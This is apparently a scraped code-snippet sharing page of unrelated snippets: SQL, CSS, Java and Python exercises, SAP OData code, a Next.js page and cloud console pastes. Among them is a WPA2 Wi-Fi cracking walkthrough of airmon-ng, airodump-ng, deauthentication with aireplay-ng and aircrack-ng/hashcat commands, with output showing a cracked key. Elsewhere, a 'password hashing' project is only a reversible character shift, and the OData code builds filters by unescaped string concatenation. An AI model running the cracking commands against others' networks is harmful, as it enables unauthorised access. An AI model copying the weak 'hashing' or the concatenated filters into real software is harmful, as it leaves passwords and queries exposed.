Snippets Collections
dateadd(DAY,0, datediff(day,0, created)) will return the day created

for example, if the sale created on '2009-11-02 06:12:55.000', dateadd(DAY,0, datediff(day,0, created)) return '2009-11-02 00:00:00.000'

select sum(amount) as total, dateadd(DAY,0, datediff(day,0, created)) as created
from sales
group by dateadd(DAY,0, datediff(day,0, created))
# put your network device into monitor mode
airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0

# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0

# optionally deauth a connected client to force a handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

########## crack password with aircrack-ng... ##########

# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap

########## or crack password with naive-hashcat ##########

# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx

# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
 CH  6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]                                         
                                                                                                                                           
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  -19  75     1043      144   10   6  54e  WPA2 CCMP   PSK  ASUS                                                         
                                                                                                                                           
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                 
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  64:BC:0C:48:97:F7  -37    1e- 1e     4     6479  ASUS
                                 Aircrack-ng 1.2 beta3


                   [00:01:49] 111040 keys tested (1017.96 k/s)


                         KEY FOUND! [ hacktheplanet ]


      Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 
                       59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E 

      Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 
                       2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 
                       6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 
                       8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 

      EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat

# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
 CH  6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]                                        
                                                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 9C:5C:8E:C9:AB:C0  -47   0      140        0    0   6  54e  WPA2 CCMP   PSK  ASUS  
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49                                         
                                                                                                                                              
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 14:91:82:F7:52:EB  -66      205       26    0   1  54e  OPN              belkin.2e8.guests                                                   
 14:91:82:F7:52:E8  -64      212       56    0   1  54e  WPA2 CCMP   PSK  belkin.2e8                                                          
 14:22:DB:1A:DB:64  -81       44        7    0   1  54   WPA2 CCMP        <length:  0>                                                        
 14:22:DB:1A:DB:66  -83       48        0    0   1  54e. WPA2 CCMP   PSK  steveserro                                                          
 9C:5C:8E:C9:AB:C0  -81       19        0    0   3  54e  WPA2 CCMP   PSK  hackme                                                                 
 00:23:69:AD:AF:94  -82      350        4    0   1  54e  WPA2 CCMP   PSK  Kaitlin's Awesome                                                   
 06:26:BB:75:ED:69  -84      232        0    0   1  54e. WPA2 CCMP   PSK  HH2                                                                 
 78:71:9C:99:67:D0  -82      339        0    0   1  54e. WPA2 CCMP   PSK  ARRIS-67D2                                                          
 9C:34:26:9F:2E:E8  -85       40        0    0   1  54e. WPA2 CCMP   PSK  Comcast_2EEA-EXT                                                    
 BC:EE:7B:8F:48:28  -85      119       10    0   1  54e  WPA2 CCMP   PSK  root                                                                
 EC:1A:59:36:AD:CA  -86      210       28    0   1  54e  WPA2 CCMP   PSK  belkin.dca
@media (max-width: 1024px) {
	.mobile-nav.wd-right {
		left: 0 !important;
		right: 0 !important;
		width: 100% !important;
		height: max-content !important;
		transform: translateY(-150%);
		pointer-events: none;
	}
	.mobile-nav.wd-opened {
		transform: translatey(70px);
		pointer-events: auto;
	}
	.wd-close-side.wd-fill.wd-close-side-opened {
		background: linear-gradient(180deg, transparent 35%, rgb(0 0 0 / 54%), rgb(0 0 0 / 85%));
	}
	.site-mobile-menu li a {
		line-height: 1;
		padding-top: 0px !important;
		padding-bottom: 0px !important;
		min-height: 40px;
	}
	.icon-sub-menu {
		height: 40px;
		width: 40px;
		line-height: 40px;
	}
}
"C:\Program Files\MongoDB\Server\5.0\bin\mongod.exe" --dbpath="c:\data\db"
function has_term( $term = '', $taxonomy = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$r = is_object_in_term( $post->ID, $taxonomy, $term );
	if ( is_wp_error( $r ) ) {
		return false;
	}

	return $r;
}
def start():
    print()
    print('********************************')
    print("Student Name  - Aniket")
    print("Title         - Micro Project")
    print("Project Name  - Password Hashing")
    print("Language      - Python")
    print('********************************')
    print()

class Hash:
    def __init__(self, secret_key):
        self.secret_key = secret_key
       
    def hash(self, password):
        hashed_password = ""
        for char in password:
            hashed_password += chr(ord(char) + self.secret_key)
        return hashed_password

    def decrypt(self, hashed_password):
        decrypted_password = ""
        for char in hashed_password:
            decrypted_password += chr(ord(char) - self.secret_key)
        return decrypted_password

start()

while True:
    obj = Hash(1)
    print("----------------------------------")
    password = input("Enter Your Password : ")
    print("----------------------------------")
    print("Your entered Password : ", password)
    print("----------------------------------")
    
    hashed_password = obj.hash(password)
    print("Your Hashed password:", hashed_password)
    print("----------------------------------")
    
    decrypted_password = obj.decrypt(hashed_password)
    print("Your Decrypted password:", decrypted_password)
    print("----------------------------------")
    
    ans = input("Do You want to Continue (Y/N) :")
    if ans.lower() != 'y':
        print('.....Thank You.....')
        break

// Client script to call the UI script either for backend or workspaces

g_scratchpad.vfConfirm = function(message, callback){
	// This is the backend
    if (typeof GlideModal !== 'undefined') {
        vfConfirm(message, function(result) {
            callback(result);
        });
    } else {
		// This is for the workspace
        g_ui_scripts.getUIScript('vfConfirm').then(function(uiScript) {
            uiScript().vfConfirm(message, g_modal, function(result) {
                callback(result);
            });
        });
    }
	
};



// UI Script for backend. Type = Desktop and Global=Ticked

function vfConfirm(message, callback) {
	
    var dialog = new GlideModal('glide_modal_confirm', true, 300);
    dialog.setTitle(new GwtMessage().getMessage('Confirmation'));
    dialog.setPreference('body', new GwtMessage().format(message));
    dialog.setPreference('focusTrap', true);
    dialog.setPreference('onPromptCancel', function() {
        callback(false);
    });
    dialog.setPreference('onPromptComplete', function() {
        callback(true);
    });

    dialog.render();

}


// UI Script workspace. Mobile/Service Portal.

(function() {

    "use strict";

    return {

        vfConfirm : function(message, g_modal, callback) {
            g_modal.confirm('Confirmation', message, "", {
                "cancelTitle": "No",
                "confirmTitle": "Yes"
            }).then(
                function onSuccess() {
                    callback(true);
                },
                function onReject() {
                    callback(false);
                }
            );
        },

        type: "vfConfirm"
    };
});
sudo apt-get update
BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

///////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

//////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
BankAccount.java

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress             3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
gcloud auth login --no-launch-browser
https://support.wix.com/en/article/roles-permissions-overview
n=int(input("enter value of n="))
no=int(input("no.of digits="))
x=n
arm=0
while(n>0):
                r=n%10
                arm=arm+(r**no)
                n=n/10
if(x==arm):
                print("given no. is armstrong number")
else:
                print("given no. is not a armstrong number")
{
    "payment_method": "stripe_cc",
    "set_paid": true,
      "line_items": [
    {
      "product_id": 13197,
      "quantity": 2
    }
  ],
  "shipping_lines": [
    {
      "method_id": "flat_rate",
      "method_title": "Flat Rate",
      "total": "10.00"
    }
  ],
  "billing": {
    "first_name": "John",
    "last_name": "Doe",
    "address_1": "969 Market",
    "address_2": "",
    "city": "San Francisco",
    "state": "CA",
    "postcode": "94103",
    "country": "US",
    "email": "john.doe@example.com",
    "phone": "(555) 555-5555"
  },
  "shipping": {
    "first_name": "John",
    "last_name": "Doe",
    "address_1": "969 Market",
    "address_2": "",
    "city": "San Francisco",
    "state": "CA",
    "postcode": "94103",
    "country": "US"
  },
  "needs_payment": false,
        "needs_processing": true,
  "created_via": "checkout",
  "payment_method_title": "Visa ending in 4242",
  "transaction_id": "ch_3OtngJHN7xUNmfx50a9vDRDv"

}
n=int(input("enter value of n "))
n
x=n
rev=0
while(n>0):
                r=n%10
                rev=(rev*10)+r
                n=n/10
if(x==rev):
                print("it is a palindrome")
else:
                print("given number is not a palindrome")
https://codepen.io/amazingweb/pen/LRpWGe
n=int(input("enter max range"))
num=1
while(num<=n):
                count=0
                i=2
                while(i<=num/2):
                                if (num%i==0):
                                                count=count+1
                                                break
                                i=i+1
                if(count==0&num!=1):
                                print(num)
                num=num+1 
function getDistinctLocations(selectedProducts, selectedCharNums) {
    var productFilterString = "";
    selectedProducts.forEach(function(product, index) {
        if (index > 0) {
            productFilterString += " or ";
        }
        productFilterString += "PRODUCT eq '" + product + "'";
    });

    var charNumFilterString = "";
    selectedCharNums.forEach(function(charNum, index) {
        if (index > 0) {
            charNumFilterString += " or ";
        }
        charNumFilterString += "CHARNUM eq '" + charNum + "'";
    });

    var oModel = new sap.ui.model.odata.v2.ODataModel("/YourODataService");
    oModel.read("/YourEntitySet", {
        urlParameters: {
            "$apply": "groupby((LOCATION))",
            "$filter": productFilterString + " and (" + charNumFilterString + ")"
        },
        success: function(data) {
            // Process distinct locations data
            // Populate a dropdown or list with distinct locations
        },
        error: function(error) {
            // Handle error
        }
    });
}
function getDistinctLocations(selectedProducts, selectedCharNums) {
    var productFilterString = "";
    selectedProducts.forEach(function(product, index) {
        if (index > 0) {
            productFilterString += " or ";
        }
        productFilterString += "PRODUCT eq '" + product + "'";
    });

    var charNumFilterString = "";
    selectedCharNums.forEach(function(charNum, index) {
        if (index > 0) {
            charNumFilterString += " or ";
        }
        charNumFilterString += "CHARNUM eq '" + charNum + "'";
    });

    var oModel = new sap.ui.model.odata.v2.ODataModel("/YourODataService");
    oModel.read("/YourEntitySet", {
        urlParameters: {
            "$apply": "groupby((LOCATION))",
            "$filter": productFilterString + " and (" + charNumFilterString + ")"
        },
        success: function(data) {
            // Process distinct locations data
            // Populate a dropdown or list with distinct locations
        },
        error: function(error) {
            // Handle error
        }
    });
}
p=float(input("enter principle"))
t=float(input("enter time"))
r=float(input("enter rate"))
si=(p*t*r)/100
print(si)
//comp
p=int(raw_input("enter principle"))
t=int(raw_input("enter time"))
r=int(raw_input("enter rate"))
ci=p*(1+r)**t
print(ci)
<html>

<input id="contact" name="address">

<script>

    var x = document.getElementById("contact").getAttribute('name');

</script>

</html>
# Pemavor.com Autocomplete Scraper
# Author: Stefan Neefischer (stefan.neefischer@gmail.com)
 
import concurrent.futures
import pandas as pd
import itertools
import requests
import string
import json
import time
​
startTime = time.time()
​
# If you use more than 50 seed keywords you should slow down your requests - otherwise google is blocking the script
# If you have thousands of seed keywords use e.g. WAIT_TIME = 1 and MAX_WORKERS = 10
 
WAIT_TIME = 0.1
MAX_WORKERS = 20
​
# set the autocomplete language
lang = "en"
​
​
charList = " " + string.ascii_lowercase + string.digits
​
def makeGoogleRequest(query):
    # If you make requests too quickly, you may be blocked by google 
    time.sleep(WAIT_TIME)
    URL="http://suggestqueries.google.com/complete/search"
    PARAMS = {"client":"firefox",
            "hl":lang,
            "q":query}
    headers = {'User-agent':'Mozilla/5.0'}
    response = requests.get(URL, params=PARAMS, headers=headers)
    if response.status_code == 200:
        suggestedSearches = json.loads(response.content.decode('utf-8'))[1]
        return suggestedSearches
    else:
        return "ERR"
​
def getGoogleSuggests(keyword):
    # err_count1 = 0
    queryList = [keyword + " " + char for char in charList]
    suggestions = []
    for query in queryList:
        suggestion = makeGoogleRequest(query)
        if suggestion != 'ERR':
            suggestions.append(suggestion)
​
    # Remove empty suggestions
    suggestions = set(itertools.chain(*suggestions))
    if "" in suggestions:
        suggestions.remove("")
​
    return suggestions
​
​
#read your csv file that contain keywords that you want to send to google autocomplete
df = pd.read_csv("keyword_seeds.csv")
# Take values of first column as keywords
keywords = df.iloc[:,0].tolist()
​
resultList = []
​
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
    futuresGoogle = {executor.submit(getGoogleSuggests, keyword): keyword for keyword in keywords}
​
    for future in concurrent.futures.as_completed(futuresGoogle):
        key = futuresGoogle[future]
        for suggestion in future.result():
            resultList.append([key, suggestion])
​
# Convert the results to a dataframe
outputDf = pd.DataFrame(resultList, columns=['Keyword','Suggestion'])
​
# Save dataframe as a CSV file
outputDf.to_csv('keyword_suggestions.csv', index=False)
print('keyword_suggestions.csv File Saved')
​
print(f"Execution time: { ( time.time() - startTime ) :.2f} sec")
VM instances
Filter


Status
Name
Zone
Recommendations
In use by
Internal IP
External IP
Connect
Updating. This instance is being stopped	instance-20240312-214655	us-central1-a		
10.128.0.2 (nic0)	34.121.121.234  (nic0) 	
SSH
		
Related actions
 HIDE
import Image from "next/image";

export default function Home() {
  return (
    <main className="flex flex-row items-center h-screen w-full overscroll-none sm:flex sm:flex-col ">
      <div className=" lg: flex lg: flex-row lg: items-center lg: w-screen lg: h-screen lg: overflow-hidden">
        <div className="p-0 flex h-screen w-1/2 justify-center align-middle items-center">
          <div className="sm: w-[40.45px] sm: h-[36.56px] 2xl: w-[693px] 2xl: h-[444px] 2xl:items-center 2xl: flex 2xl: justify-center">
            <Image
              src={"/twitter.png"}
              alt="Twitter's logo"
              width={341.57}
              height={308.75}
              className="w-[40.45px] h-[36.56px] sm:w-[341.57px] sm:h-[308.75px] sm: self-start xl: self-center"
            />
          </div>
        </div>
        <div className="p-4 flex h-screen w-1/2 justify-center align-middle items-center">
          <div className="p-5 w-full align-middle">
            <div className="w-fit h-fit">
              <h2 className="text-[64px] m-12 ml-0 mr-0 w-fit">
                Happening now
              </h2>
              <h2 className="text-[31px] w-full mb-8">
                Join today.
              </h2>
              <div className=" w-full h-fit ">
                <div className="flex flex-row ">
                  <div className="flex flex-row outline outline-1 pl-4 pr-4 rounded-3xl w-[300px] h-[40px] justify-center mb-2">
                    <Image className=" object-scale-down w-5 h-5 self-center mr-2" src={"/google.png"} alt="Google Logo" width={32 } height={32} />
                    <h1 className=" text-[14px] self-center">
                      Sign up with Google
                    </h1>
                  </div>
                    
                </div>
              </div>
              <div className=" w-full h-fit ">
                <div className="flex flex-row ">
                  <div className="flex flex-row outline outline-1 pl-4 pr-4 rounded-3xl w-[300px] h-[40px] justify-center">
                    <Image className=" object-scale-down w-5 h-5 self-center mr-2" src={"/apple-logo.png"} alt="Google Logo" width={32 } height={32} />
                    <h1 className=" text-[14px] self-center">
                      Sign up with Apple
                    </h1>
                  </div>
                    
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <div className="flex flex-col w-full align-middle items-center pt-3 pb-3 pl-4 pr-4">
        <nav className="flex flex-row ">
          <span>
            About
          </span>
          <span>
            Download the X app
          </span>
          <span>
            Help Center
          </span>
          <span>
            Terms of Service
          </span>
          <span>
            Privacy Policy
          </span>
          <span>
            Cookie Policy
          </span>
          <span>
            Accessibility
          </span>
          <span>
            Ads info
          </span>
          <span>
            Blog
          </span>
          <span>
            Status
          </span>
          <span>
            Careers 
          </span>
          <span>
            Brand Resources
          </span>
          <span>
            Advertising
          </span>
          <span>
            Marketing
          </span>
          <span>
            X for Business
          </span>
          <span>
            Developers
          </span>
          <span>
            Directory
          </span>
          <span>
            Settings
          </span>
          <span>
            © 2024 X, Corp.
          </span>
        </nav>
      </div>
    </main>
  );
}
"default-src 'none'; frame-src 'self'; frame-ancestors 'self'; connect-src 'self'; font-src 'self'; img-src 'self'; media-src 'self'; base-uri 'self'; object-src 'none'; script-src 'none'; style-src 'self'; mysite.com.au *.mysite.com.au"
SSH Keys
SSH keys
Username
Key
alice	
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM0VmnyV3SGBQMoIKi5SJbBlSKXZmSvnL6sKa5ROSn5K1t8XZvzy+B8zLeKy+S2oRAOVFRriB5eYyrgLLBpBP8Q= google-ssh {"userName":"alice@openoversightva.org","expireOn":"2024-03-12T22:10:38+0000"}
alice	
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAFy3N7Bl5lVFguaKv8stwB56vxugG+wdeqf7XmHW+PDxHA3COTYQdbzjiRx3dQjdPgJwlRPMafJN87PBCcj/iNQc2gY8rquPGMVIdvaJ98zpvIb1ZATFhC9OOqtTrY+WKAVbXa4X/S/YBL8UowqZqGGIbhVWO/0YaaHz/+RjXDqAcSRnRRc6wzK+1rzR3ru8NTbp5pKWYEgbFhFuqqM4xMWljZLGxTwUaZLh39Mbr1tF/mmqDSPROQvpfjOawrD90A/Xdvnhysvwnwto7Ny+6hzuEEVWqBRLHJ0Lpj7Q6CPX7Mhqe72NeHLLOCD1hDp1pnpNplAZSI5Qo6Fg4gZBhEc= google-ssh {"userName":"alice@openoversightva.org","expireOn":"2024-03-12T22:10:53+0000"}
Paid account
Account name
GFCloud Startups Start Credit, 018223-68EB10-2F7F6A

Organization
openoversightva.org
Your account was upgraded from free trial on Nov 15, 2023.

Your account is currently a paid account that will accrue a balance. You may have leftover free trial credits or other credits that will continue to offset your costs.
Additional Information
Field	Value
Last updated	February 2, 2024
Created	October 5, 2023
Format	CSV
Columns	20
Rows	3242892
Created	5 months ago
Size	606,573,418
Ckan url	https://data.virginia.gov
Datastore active	True
Datastore contains all records of source file	True
Has views	True
Hash	ce5901703d29aa8a35574b75fe137979
Id	60506bbb-685f-4360-8a8c-30e137ce3615
Ignore hash	True
On same domain	True
Original url	https://data.virginia.gov/dataset/de833a43-7019-444c-8384-9e0cf5255140/resource/60506bbb-685f-4360-8a8c-30e137ce3615/download/community_policing_data_july_1__2020_to_september_30__2023_20240202.csv
Package id	de833a43-7019-444c-8384-9e0cf5255140
Resource id	60506bbb-685f-4360-8a8c-30e137ce3615
State	active
Task created	2024-02-28 21:20:02.708608
Url type	upload
The Data API can be accessed via the following actions of the CKAN action API.

Create	https://data.virginia.gov/api/3/action/datastore_create
Update / Insert	https://data.virginia.gov/api/3/action/datastore_upsert
Query	https://data.virginia.gov/api/3/action/datastore_search
Query (via SQL)	https://data.virginia.gov/api/3/action/datastore_search_sql
star

Thu Mar 14 2024 15:43:46 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/1658340/sql-query-to-group-by-day

@darshcode #sql

star

Thu Mar 14 2024 15:31:59 GMT+0000 (Coordinated Universal Time) https://github.com/brannondorsey/wifi-cracking

@VanossModz

star

Thu Mar 14 2024 15:31:57 GMT+0000 (Coordinated Universal Time) https://github.com/brannondorsey/wifi-cracking

@VanossModz

star

Thu Mar 14 2024 15:31:55 GMT+0000 (Coordinated Universal Time) https://github.com/brannondorsey/wifi-cracking

@VanossModz

star

Thu Mar 14 2024 15:31:47 GMT+0000 (Coordinated Universal Time) https://github.com/brannondorsey/wifi-cracking

@VanossModz

star

Thu Mar 14 2024 15:31:44 GMT+0000 (Coordinated Universal Time) https://github.com/brannondorsey/wifi-cracking

@VanossModz

star

Thu Mar 14 2024 15:31:39 GMT+0000 (Coordinated Universal Time) https://github.com/brannondorsey/wifi-cracking

@VanossModz

star

Thu Mar 14 2024 14:34:54 GMT+0000 (Coordinated Universal Time)

@deveseospace #css

star

Thu Mar 14 2024 12:23:49 GMT+0000 (Coordinated Universal Time) https://blocksentinels.com/centralized-crypto-exchange-development

@Mathias931 ##centralizedcrypto exchange development ##cryptoexchange development

star

Thu Mar 14 2024 08:38:20 GMT+0000 (Coordinated Universal Time) https://geometrygame.io/

@SoloCoder

star

Thu Mar 14 2024 06:55:27 GMT+0000 (Coordinated Universal Time) http://localhost:8888/notebooks/SLab.ipynb

@bvc #undefined

star

Thu Mar 14 2024 05:51:04 GMT+0000 (Coordinated Universal Time) https://tripleten.com/trainer/web/lesson/d9f0aeea-1b04-4f16-82aa-d963d9bb458c/?from

@Marcelluki

star

Thu Mar 14 2024 05:32:25 GMT+0000 (Coordinated Universal Time) https://wp-kama.ru/function/has_term

@markyuri

star

Thu Mar 14 2024 04:19:15 GMT+0000 (Coordinated Universal Time) https://admin.nivobet724.com/users

@crytohack #react.js

star

Thu Mar 14 2024 03:54:14 GMT+0000 (Coordinated Universal Time)

@aniket_chavan

star

Thu Mar 14 2024 02:25:45 GMT+0000 (Coordinated Universal Time)

@RahmanM

star

Thu Mar 14 2024 00:03:42 GMT+0000 (Coordinated Universal Time) https://stage.projects-delivery.com/wp/soho-group/wp-admin/admin.php?page

@hamza.khan

star

Wed Mar 13 2024 19:59:38 GMT+0000 (Coordinated Universal Time) https://admin.nivobet724.com/users

@crytohack

star

Wed Mar 13 2024 19:06:48 GMT+0000 (Coordinated Universal Time)

@Ridias

star

Wed Mar 13 2024 19:04:26 GMT+0000 (Coordinated Universal Time)

@abdul_rehman #java

star

Wed Mar 13 2024 17:41:50 GMT+0000 (Coordinated Universal Time) https://stage.projects-delivery.com/wp/soho-group/wp-admin/admin.php?page

@hamza.khan

star

Wed Mar 13 2024 17:41:23 GMT+0000 (Coordinated Universal Time) https://stage.projects-delivery.com/wp/soho-group/wp-admin/admin.php?page

@hamza.khan

star

Wed Mar 13 2024 17:40:14 GMT+0000 (Coordinated Universal Time) https://stage.projects-delivery.com/wp/soho-group/wp-admin/admin.php?page

@hamza.khan

star

Wed Mar 13 2024 17:30:55 GMT+0000 (Coordinated Universal Time)

@abdul_rehman #java

star

Wed Mar 13 2024 17:27:18 GMT+0000 (Coordinated Universal Time)

@playadust

star

Wed Mar 13 2024 16:55:52 GMT+0000 (Coordinated Universal Time)

@abdul_rehman #java

star

Wed Mar 13 2024 15:38:58 GMT+0000 (Coordinated Universal Time) https://sdk.cloud.google.com/authcode.html?state

@okokokok

star

Wed Mar 13 2024 14:07:56 GMT+0000 (Coordinated Universal Time)

@Shira

star

Wed Mar 13 2024 10:25:53 GMT+0000 (Coordinated Universal Time)

@pvignesh

star

Wed Mar 13 2024 10:08:41 GMT+0000 (Coordinated Universal Time)

@Waaazzi

star

Wed Mar 13 2024 09:56:16 GMT+0000 (Coordinated Universal Time)

@pvignesh

star

Wed Mar 13 2024 09:41:02 GMT+0000 (Coordinated Universal Time)

@imran1701

star

Wed Mar 13 2024 09:31:19 GMT+0000 (Coordinated Universal Time)

@pvignesh

star

Wed Mar 13 2024 08:39:57 GMT+0000 (Coordinated Universal Time)

@deepaksingh

star

Wed Mar 13 2024 08:39:56 GMT+0000 (Coordinated Universal Time)

@deepaksingh

star

Wed Mar 13 2024 08:07:30 GMT+0000 (Coordinated Universal Time)

@pvignesh

star

Wed Mar 13 2024 06:51:11 GMT+0000 (Coordinated Universal Time)

@RadioShakcident

star

Wed Mar 13 2024 06:45:16 GMT+0000 (Coordinated Universal Time)

@RadioShakcident

star

Wed Mar 13 2024 06:37:12 GMT+0000 (Coordinated Universal Time) https://www.consulting24.co

@consulting24 ##cryptoregulationexperts ##blockchainadvisory ##cryptolicense

star

Wed Mar 13 2024 04:58:31 GMT+0000 (Coordinated Universal Time) https://console.cloud.google.com/?_ga

@okokokok

star

Wed Mar 13 2024 02:44:29 GMT+0000 (Coordinated Universal Time)

@lawlaw

star

Tue Mar 12 2024 23:34:25 GMT+0000 (Coordinated Universal Time)

@davidmchale #html #csp

star

Tue Mar 12 2024 22:31:30 GMT+0000 (Coordinated Universal Time) https://portal.azure.com/

@okokokok

star

Tue Mar 12 2024 22:30:18 GMT+0000 (Coordinated Universal Time) undefined

@okokokok

star

Tue Mar 12 2024 22:08:48 GMT+0000 (Coordinated Universal Time) https://console.cloud.google.com/projectselector2/compute/instancesAdd?hl

@okokokok

